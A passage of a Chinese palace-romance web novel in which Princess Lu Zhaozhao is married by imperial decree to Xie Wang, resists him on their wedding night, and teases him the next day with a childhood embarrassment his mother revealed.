朝朝性子单纯,定会被人欺负。他挑中谢妄,一则是谢妄的确优秀出色,配得上他的朝朝,二则,谢家百年大族,朝朝若是嫁作谢家妇,谢家自然会庇佑她几分,何况谢妄那孩子虽然性子冷了些,男人的情意也未必长久,可他却是个信守承诺的,日后就算情意不在,也定会好好待朝朝,不会让她受委屈。 从前崇光帝还在想着如何撮合他们二人,今日出了这档子事,倒是个机会。他心意已决,任陆朝朝怎么说也不会更改了。 “朝朝,你也这么大了,是个小大人了,不能再任性了。” 陆朝朝没想到一向疼爱自己的父皇在这件事上会这么坚决,她委屈得哭了,带着哭腔说:“可是我不喜欢谢妄,我喜欢章安澜,我之前以为他说的心上人是别人,原来他说的那个人是我。父皇,你还记得吗?小时候我们去过一次河西,在章家,我见过他一面的,他一直记着我。” 她吸了吸鼻子:“他是章家人,章家也是百年大族,不是吗?您把我嫁给章安澜吧,他也不比谢妄差,您不是也认可他的才能么?” 崇光帝摇头,语重心长:“朝朝,你年纪还小,许多事看不长远。章安澜固然也好,章家也好,只是不适合你。章家情况复杂,不似谢家那般简单,你若是嫁进章家,有太多事要你应对,以你的性子,决计应付不来。至于章安澜,他是个好孩子,可他太软了些,他未必能护得住你。” 他摸了摸陆朝朝的脑袋:“以前不管你说什么,父皇都依着你,但只有这件事,你听父皇的话,好不好?” 陆朝朝垂着脑袋,一个劲掉眼泪,她听明白了,总而言之就是一句话:她要嫁给谢妄这件事没得商量。 从千福殿回来后,陆朝朝趴在床上大哭了一场,她感觉自己的人生一片灰暗。 她从来没有哭得这么惨过,揽镜自照的时候都被镜子里的人吓了一跳。 从前父皇都会帮着她的,可是这回父皇也不肯帮着她了。她所有的底气都来自父皇,没有父皇,她什么也不是,这点道理她还是知道的。所以父皇不改口,她什么办法也没有。 陆朝朝又气又憋闷,好几天没吃下饭,人都瘦了一圈。风荷看在眼里,为她难受,开解道:“殿下,其实奴婢觉得,嫁给谢大人也不失为一件坏事。谢大人年轻有为,比章大人还厉害呢,谢大人长相也比章大人英俊,说不准你们成婚之后,就合得来了。” 陆朝朝瞪她一眼:“我要是能跟他合得来,早就合得来了,还能折腾这么多年嘛。我要是嫁给他,以后每一天都会过得不开心的。每天对着一张刻薄的脸,还要听他阴阳怪气的嘲讽,简直都会短命。” 风荷讪笑:“不会的,陛下不是说了,其实谢大人一直暗中倾慕您。” 陆朝朝枕着自己胳膊嘟囔:“那种鬼话你也信,不用想就知道是编的,就跟他说他有我的孩子一样离谱。你看他哪点像暗中倾慕我?” 风荷还真说不上来,她本来也是为了宽慰陆朝朝说的。 陆朝朝忽地一拍桌子道:“不行,我绝对不能嫁给谢妄,我去找父皇闹,一哭二闹三上吊,父皇疼我,总归会心软的。” 她心里定下主意,就决定去找崇光帝闹。 只是这回还未进千福殿,先听见了崇光帝的咳嗽,似乎是御医在边上。 “陛下安心,陛下只是近来忧思过度,并无大碍。” 崇光帝又一阵剧烈咳嗽后才说话:“朕的身体朕自己心里清楚,你下去吧。” 陆朝朝脚步一顿,忽然有些心里发堵。 父皇年纪大了,这几年他头上的白发都多了好多,父皇一直疼爱她,她怎么忍心还折腾父皇? 陆朝朝耷拉下脸,悄无声息离开了千福殿,回了曦光殿。 不就是嫁给谢妄嘛,有什么大不了的,从古至今,公主休夫的例子又不是没有。大不了,她就忍两年,然后把谢妄踹了。 至于章安澜,她也不知道章安澜能不能等她两年,不能就算了。比起 嫁给谢妄这件事带给她的悲伤,不能嫁给章安澜反而显得没那么伤心。 再说了,就算不能休夫,还能丧夫呢。她看谢妄也不像是长寿的,说不定过两年他就死了,她就可以像令嘉姑母一样自由快乐了。 陆朝朝勉强把自己哄好了,认命地接受了她要嫁给谢妄这件事。 崇光帝赐婚的圣旨当天便拟好,送到了谢家。这件事也在圣旨送到谢家的当天,便已经人尽皆知。 这几日街头巷尾议论的都是这件事,都在说原来以前那传闻竟然是真的。 因着当时谢妄的话,现在大家都以为二人已经不清不白了,崇光帝也怕迟则生变,便挑了一个最近的良辰吉日,就定在两个月后,六月十八。 两个月固然在时间上略显仓促,不过崇光帝对昭阳公主的婚事格外上心,大度地动用了自己的私库让礼部放心去办,加之谢家亦自觉地出了不少力,一切还是进行得很顺利。 两个月的时间显然来不及修建一座公主府,崇光帝的意思是让陆朝朝出嫁后先住在谢家,待公主府修成,再与驸马一起搬去公主府。公主府就建在谢府隔壁,如此方便往来。 陆朝朝没想到自己这么快就要嫁给谢妄,再次无精打采起来,她虽然勉强把自己哄好了,但还是很不愿接受这个事实。 更惨的是,太后听说了这事,原本很不满这桩婚事,去找过崇光帝,话里话外都是她配不上谢妄。陆朝朝还欣喜过,以为父皇要为此改变主意了,结果也没有,太后还是接受了这桩婚事,却说陆朝朝性子顽劣,既然如今马上成婚,这段时间便不要出宫,好生待在宫里待嫁。所以她连出宫的自由都失去了,每日里只能待在宫里等着礼部那些人过来询问她对婚仪的意见。 她哪有什么意见,她最大的意见就是取消这场婚事! 可是这毕竟是她自己的大婚,礼部那些老头子的眼光又差得很,她若是自己敷衍,她都不敢想他们能弄出一个多难看的婚典出来。何况窝在宫里也无聊,挑挑礼部送来的意见,还能打发时间,陆朝朝渐渐从中得了些趣。 从十三四岁起,她当然也想象过自己日后成婚会是什么样子,倘若忽略不尽人意的驸马,其实这场大婚也还不错。一切都是按着她的心意来的,婚服、凤冠、还有许多的细节,都是她自己挑的,她还挺满意的。 唯一不满意的,就是驸马。 驸马不是她自己挑的。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 30-40 第31章 第三十一倾慕你。 再不满意,日子还是走到了大婚这日。 婚典流程颇为繁复,晨光熹微,陆朝朝便被风荷她们从柔软的被窝里挖出来,梳洗装扮,她眼睛都睁不开,闭着眼被她们按在铜镜前摆弄。待梳洗装扮结束,换上嫁衣,戴上凤冠,陆朝朝的困意也醒了许多,她睁开眼,从雕花铜镜中看见自己的脸庞,竟透出几分陌生。 新娘子出嫁自是要装点得明艳动人,故而今日她的装扮是前所未有的浓妆艳抹,她本就生了一张妩媚的脸,寻常打扮时反而会注意尽量不要浓妆。她没来由地生出一种难过的情绪,想到今日便要嫁做人妇,偏生还是嫁给一个自己讨厌的人。 眼眶一热,又想到不可以哭,哭了的话妆就会花掉,岂不是要从头来过。陆朝朝将眼泪忍了回去,在心里安慰自己,嫁就嫁了,她到底是大齐的公主,君臣之纲始终在夫妻之纲上。 风荷趁着间隙,给陆朝朝喂了些吃食,时间不多,她囫囵咽下,便要继续走下一个流程。团团转了许久,转得头都快晕了,终于到了要离宫的时辰。 她今日出降,崇光帝与皇后皆来相送。 “朝朝,你且记得,今日出嫁,日后行事可得沉稳些,不可再如从前一般。”崇光帝目光眷念,很是不舍,看着亭亭玉立的女儿,目光渐渐有些悠远,记起了故去多年的贤妃。 朝朝同贤妃生得很像,她继承了母亲的美貌,不过脾性却和母亲大相径庭。贤妃性情温婉,是一朵解语花。崇光帝记起一些旧事,忽地笑了,不过笑容还未至眼底,又被惆怅掩盖。 若微,你瞧,咱们的女儿长这么大了,到了嫁人的时候,你若看见,也一定欢喜。 皇后到底是名义上的嫡母,亦跟着交代了几句。 陆朝朝应下,拜别二人,依依不舍地看向崇光帝。 “父皇,您千万保重龙体。”她不舍地叮嘱。 崇光帝拍了拍她的手背,示意她安心。 陆朝朝垂眸,重又跪下,行了一个大礼。风荷与水月搀她起来,将盖头盖上,便搀着她走出曦光殿,上婚轿。 她戴着盖头,只能瞧见脚下,看不清周遭,但听得她们说话,似乎谢妄已经到了。 她看不见谢妄,不知道他今日是什么嘴脸,不过脑海中浮现的是他那张一直以来的冰块脸,想必也不会有什么变化。也不尽然,或许他还有几分得意的神色,毕竟他确实报复到了自己。 想到谢妄,陆朝朝的眉目便垮了下去。 未几,在她的视线里出现了一双指节分明的手。 紧跟着,是那道熟悉的冷淡嗓音:“殿下。” 陆朝朝撇撇嘴,但还是伸出手去,将自己的手搭在他的手心里,任由他稳稳握住自己的手,将自己牵上朱色贴金的轿辇。 陆朝朝入了轿辇后,稳稳坐下,又听得谢妄向崇光帝与皇后拜别,而后便翻身上马,行在轿辇之前。 她出嫁的规格超出了公主的规格,礼部原有微词,无奈拗不过崇光帝,还是同意了。离宫之前,公主与驸马二人还得去慈宁宫拜别太后。 太后虽然不喜陆朝朝,但今日毕竟事关皇家,她仍是端出了和颜悦色的姿态,送走二人。 待离了慈宁宫,便可以出皇宫了。 陆朝朝坐在轿子里,心里知晓这轿子的落处是谢府,她思绪一片茫然,脑子里一时之间涌出许多念头。她想到崇光帝,想到自己,想到谢妄,而后想到章安澜,但这些念头都纷纷扰扰地过去了,又只剩下一种陌生的茫然。 她真的嫁人了,甚至比傅宝嘉还早一些,傅宝嘉的婚事定在今年秋。 陆朝朝的思绪一直飘荡着,直到轿子停了下来,她才恍然回到人间似的。 她知道,谢家到了。 轿子稳稳停住,而后帘栊被人挑起,仍是那双骨节分明的手递到她面前,她握住谢妄的手,走出轿辇。又被他领着,跨过谢府的大门。 林娇与谢正霄二人早在焦急等待,他们这两年为谢妄的婚事发愁,一夕之间,他当真成了婚,迎娶的还是今上最宠爱的昭阳公主,这件事又不太现实似的。直到看见了身着婚服的自家儿子牵着人出现,二人的心才落定。 公主出嫁也需拜过高堂,待礼成后,陆朝朝便由谢妄领着,走进了他们的洞房。 谢妄还要去应酬宾客,并不能多陪她。他送她至卧房床侧,松了手,又唤了声:“殿下。” 谢妄的眸光落在她身上,细细地打量着她,真到了这一日,小公主成了他名正言顺的妻。 一时间心内思绪繁杂,这是从前未曾想过的事,恍惚记起那日在马球场,她惊讶非常,陛下更是直接赐婚。等待成婚的这两个月里,谢妄偶尔有种恍惚之感,在他胜券在握掌控全局的人生里,难得开始思索自己那日做得究竟对不对。 他是喜欢她,但是有喜欢她到这种程度吗? 她分明与旁人两情相悦。 …… 但此刻看着她,他有了答案,不论如何,她于自己而言是不同的,这便足够。 他开口:“臣稍后回来。” 脚步声渐渐走远了,紧跟着是门合上的声响。陆朝朝松了口气,谢妄终于走了。 方才跟他这么僵持着,她还有些紧张。 风荷和水月都在门外候着,新房里只有她一个人,陆朝朝坐了会儿,便觉无聊,自己抬手将盖头摘了,在檀木圆桌旁坐下,给自己倒了杯水。 她已经想好了,这个婚她可以成,但要让她和谢妄圆房,那是门儿都没有。若是谢妄兽性大发,要对她做点什么,她就打断他的狗腿。 不仅如此,她还要把谢家也闹得天翻地覆,让谢妄为自己的决定后悔。她可不是乖乖来做他的妻子的,她是昭阳公主,不是谢妄的妻子。 折腾了这么久,陆朝朝腹中空空,早就饿了,她才不等谢妄回来,只吩咐她们找点东西吃。 明心堂的下人们都提前得了二公子吩咐,让她们都听昭阳公主的差遣,故而并不反对,只是应下,没多久便送来了些吃食。 陆朝朝吃过东西后,暮色四合,新房里灯火通明,她兀自转了转,有些无趣。 忽地听见门外一阵脚步声由远及近,陆朝朝慌张地碰翻了架子上的一个花瓶,花瓶应声而碎,下一瞬,门被人推开。 陆朝朝抬眸,对上谢妄的脸。 谢妄看了看她,又看一眼她脚边的花瓶,眉头微低。 他这种神情让陆朝朝很眼熟,似乎下一刻就要开始说她了,故而陆朝朝本能地开口:“我不是故意的,是你吓到我。” 谢妄命人进来将碎片清理:“那看来是臣的不是。” 他目光又落在桌上还未撤下去的吃食上。 陆朝朝觉得自己方才反应不好,她干嘛要心虚,她应该理直气壮一些,故而微抬下巴道:“本宫饿了,故而先用了些吃食,驸马不会有什么意见吧?” 她唤他,驸马。 谢妄在心中将这二字反复琢磨,白玉一般面庞上倏地添上一抹笑意。 还成,听着叫人颇为舒心。 “臣自然没有异议,不知这些饭菜可还合殿下胃口?” 陆朝朝看见他脸上的笑意,惊诧非常:“你竟然还会笑?” 那点浅淡的笑意转瞬即逝,谢妄看着她:“臣只是不爱笑,而非面瘫。” 陆朝朝撇嘴,嘀咕了一句:“冰块脸还说这种话。” 不得不说,他笑起来其实更好看一些。 但是这是重点吗?他为什么忽然笑啊? 陆朝朝又觑他一眼,不禁想,他笑是不是在嘲讽自己,他在笑自己是手下败将? 这般一想,陆朝朝不禁有些委屈,他为了报复自己,竟然连婚事都可以搭上,实在太阴险了。 她嘴巴瘪着,越想越觉得委屈,红了眼眶,指着他道:“你笑什么笑?你好歹毒,你别以为我不知道……” 她吸了吸鼻子:“你你你就是在报复我!” 她想到今日拜别父皇,委屈得落泪,控诉他:“你怎么能连自己的终生大事都用来报复我,你太过分了,我告诉你,你娶我,你肯定会后悔的!” 谢妄瞧着她落泪,一时有些无措,这些年他们之间虽然你来我往,可长大以后,还从未见这位小公主在自己面前落过泪。 她今日妆容华贵,比寻常更光彩夺目,他方才一眼便瞧见了。这会儿眼泪像断了线的珍珠往下掉落,又显得楚楚可怜。 谢妄怔然片刻,本能地伸手,轻柔的指腹擦去她的泪痕。 “臣对自己所做之事,从不后悔。”他道。 陆朝朝红着眼抬头望他,觉得他给自己擦眼泪的举动令人意外,简直不像是谢妄的风格。然后更让陆朝朝意外的是,谢妄替她擦过眼泪,宽厚的大手握住她的手腕,将她圈在怀里,语气更是她从未见过的温柔:“你将我想得太坏,朝朝,或许,我并非为了报复你,而是,倾慕你。” 眼前的一切处处透着诡异,诡异到让陆朝朝以为自己出现了幻觉。 谢妄会用这么温柔的语气跟她说话吗?谢妄会唤她的闺名吗?谢妄会跟她说倾慕你吗? 不可能,绝对不可能。 可定睛一看,这一切又是真实发生的。陆朝朝眯了眯眼,迅速做出了判断,谢妄绝对不怀好意,他肯定还是为了报复自己。 她才不会相信他的鬼话呢! 陆朝朝挣开他的手,将他推远了些,警惕道:“你是不是以为我会相信,然后好嘲笑我?我告诉你,不可能,我才不信呢。” 第32章 第三十二新婚。 陆朝朝竖起食指晃了晃,露出些许狡黠的神色,从他身侧绕过,在床侧坐下,“本宫累了,要休息了,还请驸马出去吧。” 她唤风荷她们进来,风荷水月是跟了她许多年的,自然跟着陪嫁到谢家。风荷她们推门进来,听得陆朝朝的吩咐,又看了眼谢妄,一时为难,这毕竟是公主的新婚之夜。 谢妄看着她的反应,眸色微暗,他向她剖白自己的心意,她竟然不信,还觉得他在用这种事嘲笑她。 她对他的成见到底有多深? 谢妄微蹙眉头,这种剖白心迹的话他说来也觉得别扭,断不可能再多次重复,只好作罢。 他抿唇提醒她:“今夜乃我们的洞房花烛之夜。” 陆朝朝挑眉:“那又如何?我绝对不会跟你洞房的。” 谢妄哦了声,他早知道这场婚事不会太过顺遂,他用了这种见不得人的手段迫使小公主成了自己的妻,小公主却绝对不会这么轻易妥协。此刻听见她的话,并不意外。 陆朝朝说得笃定,但心里却有几分忐忑,谢妄毕竟是个孔武有力的男人,若是他真要对自己用强…… 她用一种提防贼人的眼神盯着谢妄。 谢妄再次蹙眉,开口:“你似乎对我误解颇深。” 陆朝朝切了声,心想,她哪有误解他什么,他就是一个自私冷漠不近人情又卑鄙阴险的小人。 她方才哭过,睫羽上还残留着一些晶莹的泪珠,谢妄眸光盯着她纤长浓密的睫羽道:“首先,我不会强迫你做什么。” 他虽然不认为自己是君子,但也没有卑劣到这种地步,需要强迫她和自己洞房。他不屑于此。 “其次,我也不花心,不风流。”他还记着她给自己扣过的帽子。 他在陆朝朝身侧坐下,“最后,我不会出去。” 陆朝朝看着他的动作,睁大眼睛质问:“那你想干嘛?” 谢妄道:“从未听过新婚之夜新郎官自睡一间房的事。” 他起身,从柜子里另外抱出一床被子,放在地板上,“我睡地板,公主大可以放心。” 陆朝朝仍是一副十分不满的神情,瞪着他许久,眼看着他好像当真没有一丁点要出去的意思,她只好妥协,算了,这样也行吧。 困倦之意袭上她的眼皮,陆朝朝掩嘴打了个呵欠,她今日起得早,又忙碌了一整日,的确有些疲惫。眼下和谢妄勉强达成和平,她不想再折腾,唤风荷她们进来伺候自己梳洗。 风荷她们鱼贯而入,都看见了地板上的被褥,又都垂下眸,不敢多看。这桩婚事还真是……新婚当夜谢大人就睡地板…… 风荷她们替陆朝朝卸下凤冠,又洗去脸上脂粉,陆朝朝感觉自己简直重获新生,灵活地往床上一钻,就钻进了被窝里。她声音都含着怠惰,懒懒地开口:“好了,我要睡了。” 风荷她们又退了出去,房中只余下谢妄与她二人。 谢妄也已经梳洗过,褪下喜服。灯烛都灭了,只有那支龙凤花烛要燃到天明,幽微的灯光映照满室,将谢妄的影子映在屏风上。 夏日炎炎,地板清凉,倒不至于太过难受。但谢妄仍有些睡不着。 她今日身上涂的胭脂香味浓烈,弥漫在房中,不时扑入他鼻腔。他翻了个身,能听见她规律而安稳的呼吸 声,她已经睡着了。 她一向是心大的,方才还和自己剑拔弩张,这会儿又这么快入了梦乡。 谢妄阖眸,心绪有些纷乱。 他想到很多事,想到他那些荒唐的梦,此刻梦中的女主角就酣睡咫尺。他不知道今夜会不会梦见她,若是梦见,又会是怎样的梦? 又想,她今夜睡得这么香甜,似乎也并未因没嫁给她的章大人而多么难过,想来对她的章大人的喜欢也未必有多深。 是了,她和章安澜也不过有时那一点交集,她压根没有放在心上,否则她怎么会没有第一时间认出章安澜来?而章安澜到了京城之后,她与章安澜见面的机会也不多,相处的时间更少。 她说她喜欢章安澜,只不过基于章安澜有一张好看的脸,又有几分翩翩风度。 若是为了脸,那她为何对自己没有一分动心? 谢妄虽不以自己的脸为傲,但客观地评价,他认为自己长得并不比章安澜差。 哦,她总是嫌他没有风度。 …… 谢妄不知自己几时睡着的。 昭阳公主的婚事大张旗鼓地操办,全城百姓都看在眼里,关于这场婚事的讨论从白天一直热闹到黑夜。 章安澜坐在酒肆之中,听着周遭的议论,眉心郁色难掩。 当日在马球场,章安澜听了他们的话,甚是惊讶。后来崇光帝至,更是金口玉言赐婚,他眼睁睁看着,却无力阻拦。 他并不知晓昭阳对自己是何种心意,若是他与昭阳两情相悦,他至少有一个立场有一个身份去追问。而谢妄,章安澜冷笑出声,他分明询问过他不止一次,谢妄也信誓旦旦说他和昭阳之间没有什么关系,他甚至还说昭阳一定会接受自己的心意。 可他做了什么?横刀夺爱,不过如此。 又或许,他们之间其实本就两情相悦,他从头到尾不过是个丑角。 章安澜一杯接一杯地饮下烈酒,或许他应该更早一些开口,早在那日陛下开口时,便告知她自己的情意,即便被拒绝,也好过今日。可他又不愿意被拒绝,他将她放在心里十年,整整十年,他一直为了来到她身边而努力。 章安澜心里酝酿着恨,在一壶又一壶的酒浇灌之下,愈发恼恨起来。他恼恨自己,又恼恨自己的出身。 若是他出身更好一些,更名正言顺,他便能早一些来到她面前。 或许谢妄就胜在这一点上,他头晕目眩地趴在桌上,愤恨地想。自从他来到京城,便时常听闻昭阳公主与谢大人不合的传闻,人人都说他们不合,可是人人提及他们,都能叙说一段往事。 他们之间有那么多的往事,数不尽似的,而自己和昭阳之间却只有那一段回忆,被他装在琉璃盏里小心地捧着,时不时拿出来咀嚼。 章安澜忽地大笑出声,酒肆里最不缺的就是酒鬼,也没人多看他一眼- 陆朝朝睁开眼,对着映入眼帘的陌生环境发愣,而后才想起来,她已经不在曦光殿,她嫁到了谢家。 想到这事,陆朝朝小脸就耷拉下来。 她坐起身,伸了个懒腰,余光瞥见床下的地板,被褥已经收好,人也不知去向。 他起得这么早? “风荷。”陆朝朝唤了声。 风荷她们推门而入,捧着盥洗的铜盆等物事进来,伺候陆朝朝梳洗。陆朝朝对着铜镜问了一句:“他人呢?” 水月回话:“殿下,驸马早早起了,现下正在外头练剑。” “练剑?”她迟疑问了一句,待梳洗过后,想了想,还是去了前院。 她并未声张,故而未曾惊动谢妄。远远地,隔着游廊,她就瞧见了谢妄的身影。 他身姿如松柏,手上拿着一把剑,姿势凌厉。陆朝朝停下脚步,没有再上前,她就是好奇来看一眼。 不得不承认,这么看着谢妄其实还挺好看的。反正他只要不说话,不用那双目中无人的眼睛看着人的时候,还是一张赏心悦目的皮囊。 只是想到若非他阴险心机,自己又怎会被迫嫁给他?陆朝朝当即有些气恼,回了院中。 她此前就想好了,这件事都怪谢妄,所以她不会让谢妄好过的,也不会让谢家众人好过。按说新婚第二日,她该去见过谢夫人和谢阁老,但是她决定不去了,不给他们好脸色看。反正她是公主,君臣有别,他们也不能拿自己怎么样。 这般想着,陆朝朝便让风荷她们传早膳。 她才不会等谢妄一起呢,最好他别吃,饿死算啦。 她自己刚用过早膳,谢妄便从前院回来了。 谢妄看着她,她亦看回去。 谢妄问:“府中饭菜可还合公主口味?” 陆朝朝点头,故意说:“还行,就是看见你有点倒胃口。” 谢妄哦了声,也呛她:“那真是抱歉,想来公主看你的章大人不会倒胃口。” 陆朝朝被他的话惹恼了,气道:“你还好意思说?若非你从中作梗,他现在可不就是我的章大人了。” 谢妄抿唇不语,看着她因为恼怒而微微染上绯色的脸颊,显然他又惹她生气了。 这话他也无可反驳,的确是他从中作梗。 陆朝朝面带愠色地撑着下巴,并不看谢妄,她就说吧,谁嫁给谢妄就是八辈子的霉,这才新婚第一天,她就要被他气死啦! 谢妄盯着她看,母亲说过,女孩子应当要哄着,说一些让她开心的话。他思忖着,不知道该说些什么才能让她开心。 还未想出来,陆朝朝已经站起身,没好气地剜他一眼,而后转身离开了。 谢妄看着她背影,垂眸。 这种事还真是有些难度,他从未哄过人。 谢妄径自用过早膳,而后去了书房。他新婚,可以告假一些时日,不必去官署当值。 他在檀木桌案旁静坐,视线在书架上逡巡一番,可惜那些书架上的古籍孤本没有一本是教人如何哄人。 他指节搭在桌案上,轻叩着桌案,想到那次在马车上的事,她说她生气了,要他道歉。 谢妄起身,去寻陆朝朝。 陆朝朝还在气恼,听见谢妄进来,蹙眉不语,一副压根不想看见他的神色。谢妄在她身侧站定,开口道:“抱歉,方才是我的不对。” 第33章 第三十三让他的心更为燥热。 纵然他的语气平淡得仿佛在说方才吃了什么,陆朝朝还是难掩错愕。她转过身,微微打量谢妄,不知道他今天怎么转了性,竟然会主动和自己道歉。 正疑惑着,听得水月进来通传:“公主,谢夫人和大少夫人来了。” 陆朝朝没想到自己没去见谢夫人,谢夫人反而过来找她了,她收起疑惑,犹豫片刻,还是让水月带她们进来了。 林娇和郑婉然二人一前一后跨过院门,还牵着谢绵绵。谢绵绵被她们二人一左一右牵着,跨进门槛时,借由二人的胳膊跳过门槛。谢绵绵继承了谢谦和郑婉然的优点,生得冰雪可爱,林娇与郑婉然也是出挑的美人,三人同画,实在是赏心悦目的一幕。 陆朝朝看见这一幕,不由得心头一阵柔软。 嘴角正要上翘,又被她压了下来,她可是打定主意不要给谢家任何人好脸色看的。陆朝朝故作镇定,淡淡唤了声:“母亲,大嫂。” 林娇和郑婉然却并未因她冷淡的态度而有何反应,反而甚是热情。 林娇道:“公主金枝玉叶,若是在谢家有什么住不惯的,尽管与下人说,若是缺了什么,有需要的,也可告诉我。” 林娇看她的时候,眼中的喜欢不似有假,这种真诚的情绪让陆朝朝有些感动,她一向待人的态度便是,人家待她好,她也会回报好,人家待她不好,她便也回以不好。她眸色柔和几分,莞尔笑道:“其实还好,没什么住不惯的。” 郑婉然亦笑说:“是啊,公主千万莫要拘束,平时要是觉得闷了,可以来找我玩。我平时也没什么事,不忙的。” 郑婉然气质温柔,与她相处如沐春风,陆朝朝点点头:“好。” 正说着话,谢绵绵忽然奶声奶气地开口:“小婶婶,你跟画里的仙女一样好看耶,好 漂亮。” 陆朝朝听得这话,完全绷不住情绪,眉开眼笑,她伸手摸了摸谢绵绵的头:“谢谢,你也很可爱。” 谢绵绵被夸了,笑得眼睛都眯成一条缝,拉陆朝朝的手:“小婶婶,你可以牵绵绵的手手吗?绵绵想跟你牵手手。你以后可以经常来找绵绵玩吗?” 她仰着头看陆朝朝,眼巴巴地等着她的回答,对着这么可爱的小姑娘,谁都说不出一句拒绝的话吧,陆朝朝点头答应:“好啊。” 谢绵绵嘿嘿笑了声:“阿娘,祖母,你们看,我和小婶婶手拉手哦。” 她们几个有说有笑,谢妄被晾在一边。 听她们的欢声笑语,她应当是不生气了? 谢绵绵拉着陆朝朝要出去玩,陆朝朝欣然答应,四个人便往后花园去。 谢妄看着她牵着谢绵绵的背影,记起了他曾做过的梦,这一幕和他梦里很相似。 心里忽然冒出一个念头,若是他们生一个女儿,应当也是如此。 待出了明心堂的门,林娇才小声问:“公主,是不是缜之又惹你生气了?” 她瞧着进门的时候公主脸色不太好看,缜之和她各自站在一边,看着便像吵过架。 陆朝朝一时不知如何回答,索性垂下眼眸不语,心里却想,分明谢家其他人都这么和善,说话又好听,在这种环境里长大的谢妄怎么会长歪成这个样子?他难道就没有耳濡目染到一点吗? 林娇叹了声,宽慰她:“你别放在心上,缜之他从小就是个闷葫芦,话又少,说话还直来直去的,特别不讨人喜欢,也不知道是随了谁。从小到大,我和他爹也没少被他气到。要不是我看着生出来的,我都要怀疑是不是被调包了。下回他要是敢欺负你,你就告诉我,我帮你教训他。” 陆朝朝被她逗笑,又有些好奇:“其实我也一直怀疑他是捡来的,您和谢大人都如此和善,他怎么会这么讨人厌?他若是惹你们生气,你们一般会怎么教训他?” 她很难想象,总觉得谢妄一副油盐不进的态度,会有服软的时候? 林娇轻哼了声:“还能怎么教训?轻的时候就骂他几句,重则罚他跪祠堂。” 陆朝朝惊讶:“那他跪祠堂的时候多么?” 林娇摇了摇头:“不多,我记忆中就几回,把他爹气狠了。他爹就罚他去祠堂思过,跪了一夜祠堂,第二日他爹问他知错了没,他说,不知自己错在何处。哦哟,气得他爹拿起戒尺要抽他,还是我拦住了。” 陆朝朝想象了一下那场面,几乎可以想象到谢妄的语气,平静中带着笃定,笃定中又带着几分傲慢,总而言之,就是完全不觉得自己有错。 原来他在谢夫人和谢大人面前也是一样的讨厌啊,陆朝朝想着,忽然又问林娇:“那他从小到大就一直是这副冰块脸吗?就没有那种表情特别失控的时候吗?有没有那种特别丢人的事情?” 她不信谢妄二十几年的人生一直这么冷静。 林娇思忖片刻,在陆朝朝耳畔说了几句。 陆朝朝先是愣住,而后忍俊不禁。 陆朝朝和林娇她们在后花园逛了一个时辰,又陪着谢绵绵踢了会儿毽子,才回明心堂。 谢妄又在书房里,他不出现更好,陆朝朝也不想看见他。她自己在明心堂逛了逛,了解了一下大概的情况。 她带着风荷她们在回廊里走着,想到今日林娇告诉自己的事,不禁笑出声来。 风荷不解发问:“公主是想到了什么有意思的事么?” 陆朝朝笑着点头:“太有意思了。” 等下见到谢妄,她一定要狠狠耻笑他。 为此,中午用午膳的时候,陆朝朝特意差人把谢妄也叫了来一起。 千山在门外说公主请您一道用膳的时候,谢妄还迟疑了一瞬,她竟然会等自己一起用午膳? “我马上过去。”他道。 他到膳厅的时候,饭菜都已经摆好了,陆朝朝坐在长方餐桌旁,见他过来,她开口说话:“坐吧。” 她肉眼可见的高兴,谢妄拉开椅子坐下,不知道她为什么这么高兴。兴许是和母亲大嫂她们相处得很愉快? 谢妄并未多想,只安静吃饭。他吃饭时不爱说话,但身侧少女的轻笑声实在难以忽视,她不止笑,还时不时拿眼瞥他。 这让他不得不猜测,她现在的笑容是因为他。 这笑看起来不怀好意,看起来不是什么好事。谢妄在心里静静思忖一番,莫非是母亲和她说了些什么? 只是母亲会和她说什么,让她如此高兴? 纵然猜不透,可看着她的笑容,谢妄心里还是生出几分欢喜。 他想到兄长曾说过的话。 待用过午膳,陆朝朝让她们把桌子撤了,而后清了清嗓子,看向谢妄。 谢妄见状,明白她要说些,凝神听着。 却听她道:“俗话说,抓周抓到的东西,便是日后喜欢的东西。哎呀,原来谢大人喜欢的是这个呀。” 她说罢,从身后拿出一套小姑娘的衣裙,是一两岁婴孩穿的,粉色的,上头还嵌着不少珠玉宝石。 谢妄在看见那件小裙子时,脸色便黑了下来:“哪来的?” 陆朝朝歪头笑,又将那件小裙子抖了抖:“母亲给我的。她还告诉我,说你不止抓周时抓着它不放,还要抱着它睡觉哦,啧啧啧。” 任谁听了,都无法将眼前的人和这件事对应起来,果真是一件好大的糗事。 陆朝朝笑得更欢了。 谢妄脸更黑了,他没想到母亲会把这件事告诉她,他不是早就让他们把那裙子扔了么?怎么母亲竟还留着? 他一向疏淡的脸上难得有了些裂缝,仿佛很是觉得难堪。 陆朝朝看着他的表情变化,愈发笃定这件事是真的,她笑声清脆,越发大了起来。 “谢缜之啊谢缜之,我真是没想到,你的爱好竟然如此特别。你不会到现在还会偷偷抱着女儿家的裙子睡觉吧?”她笑容粲然,故意揶揄,说着竟是要去他的卧房里翻找似的。 谢妄跟上她的脚步,他腿长步子快,几步便追上陆朝朝,伸手要抢夺她手里那件裙子。 陆朝朝当然不会让他得逞,她要好好收藏,日后时不时拿出来嘲笑他。陆朝朝闪身避开,“你恼羞成怒啦?” 谢妄沉声说:“给我。” “不给不给,我就不给。”陆朝朝说着,往前跑开。 谢妄追上来,抓住她手腕收紧力道,二人便双双跌在柔软的床褥上。 陆朝朝眼疾手快,先一步将那裙子藏在身后。 谢妄摔在她身前,目光撞入她莹润的眸。 红色的床帐还未撤下,经风一吹,仿佛翻动红色涟漪。这是他们的新房,他们本该在此洞房花烛,谢妄喉头微动,目光下移,落在她嫣红的唇瓣上。 红润的一抹柔色,仿佛在引诱着他。 只要他微微俯首,便能品尝到那滋味,知晓是否与梦中无二。 与此同时,她的胸口也紧贴着他的,夏日衣料轻薄,体温在触碰之间一览无余地传递,像一团火烧起来,点燃他某处。 谢妄眸光闪烁,迅速移开视线,猛地站起身,微微侧过身,背对着她,喉头吞咽不断。 陆朝朝并未发现他的异常,兀自得意着:“你抢得到吗?” 谢妄手指微弯成拳,无声地深吸一口气:“公主开心就好。” 说罢,便大步出了卧房。 陆朝朝看着他的背影,将这看成落荒而逃,她更为得意,坐在床边笑了许久,而后命风荷把那条小裙子好生藏起来,不要让谢妄发现。 谢妄走出好远,才停下来,夏日里连拂面而来的风都是燥热的,让他的心更为燥热。 他心绪起伏不定,不知过了多久,才渐渐平息下来。 第34章 第三十四他喜欢看写他们俩的话本?…… 